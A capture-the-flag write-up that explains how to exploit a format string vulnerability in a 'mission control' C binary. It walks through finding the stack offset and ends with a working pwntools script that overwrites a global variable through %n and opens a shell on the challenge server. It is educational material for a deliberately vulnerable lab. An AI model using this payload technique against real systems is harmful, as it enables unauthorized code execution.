Mission Control
Format string vulnerability

Description

There have been many hackers trying to compromise our mission control panel lately. We have added a few verification checks!
nc 20.198.209.142 55021
The flag is in the flag format: STC{...}
Author: zeyu2001
mission_control
667KB
Binary
mission_control
mission_control.c
967B
Binary
mission_control.c

Solution

Source Code Analysis

To get the flag, users must overwrite the secret_code global variable.
1
#define ADMIN_CODE 200
2
​
3
int secret_code = 0;
4
​
5
...
6
​
7
int main(int argc, char **argv)
8
{
9
if (secret_code == ADMIN_CODE)
10
{
11
give_shell();
12
}
13
else
14
{
15
printf("Sorry, this area is currently disabled.\n");
16
}
17
​
18
return 0;
19
}
Copied!
Now let's look at the rest of the code. User input is read into buf, and buf is concatenated to to_print before printf(to_print) is called.
1
...
2
​
3
char buf[128];
4
memset(buf, 0, sizeof(buf));
5
fgets(buf, 128, stdin);
6
​
7
char to_print[256];
8
memset(to_print, 0, sizeof(to_print));
9
​
10
strcpy(to_print, "You said: ");
11
strcat(to_print, buf);
12
​
13
printf(to_print);
14
printf("Code: %d\n", secret_code);
15
​
16
...
Copied!
This is a classic format string vulnerability. User input is directly passed into the printf format string, allowing us to write to arbitrary memory addresses.
An additional restriction is that the first 16 characters of the input must be "I am not a robot".
1
if (strncmp(buf, "I am not a robot", 16) == 0)
2
{
3
printf("Glad to hear that!\n");
4
}
5
else
6
{
7
printf("Stop hacking us!\n");
8
return 0;
9
}
Copied!

Exploitation

Using objdump, we can find the memory address of secret_code.
1
$ objdump -t mission_control | grep secret_code
2
080dffbc g O .bss 00000004 secret_code
Copied!
We need to send 4 bytes in order to specify the address which we want to overwrite. Let this be AAAA for now. By sending I am not a robotAAAA%x.%x.%x ..., we can leak the stack values (every %x represents 4 bytes).
Notice that 4141746f appears at the 10th index and 78254141 at the 11th index. We need the full four bytes to be at the same index, so let's add two extra bytes before the AAAA.
We have added two extra bytes BB and used Direct Parameter Access (DPA) to specify we want the 11th index. The payload is I am not a robotBBAAAA%11$p. As we can see, the 11th index is now our AAAA string, i.e.0x41414141. Perfect!
The final payload is I am not a robotBB\xbc\xff\x0d\x08%168x%11$n.
  • \xbc\xff\x0d\x08 is the memory address of secret_code (0x080dffbc) in little-endian.
  • %168x%11$n writes 168 + [bytes already wrote] to the address on the 11th index.
The exploitation process is outlined by this script:
1
from pwn import *
2
​
3
# Bruteforce the index of the buffer
4
​
5
conn = remote("20.198.209.142", 55021)
6
print(conn.recv())
7
​
8
conn.send("I am not a robotBBAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\r\n")
9
​
10
print(conn.recv())
11
​
12
# Check the index of the buffer
13
​
14
conn = remote("20.198.209.142", 55021)
15
print(conn.recv())
16
​
17
conn.send(b"I am not a robotBBAAAA%11$p\r\n")
18
print(conn.recv())
19
​
20
# Overwrite the secret_code address
21
​
22
conn = remote("20.198.209.142", 55021)
23
print(conn.recv())
24
​
25
conn.send(b"I am not a robotBB\xbc\xff\x0d\x08%168x%11$n\r\n") # 080dffbc
26
print(conn.recv())
27
conn.interactive()
Copied!
Once we overwrite the secret code, we are given a shell.
The flag is STC{1_l0v3_f0rm4t_st1ngs_0ab7a4af7bb1343810ccde8244031f2f}.
Last modified 5mo ago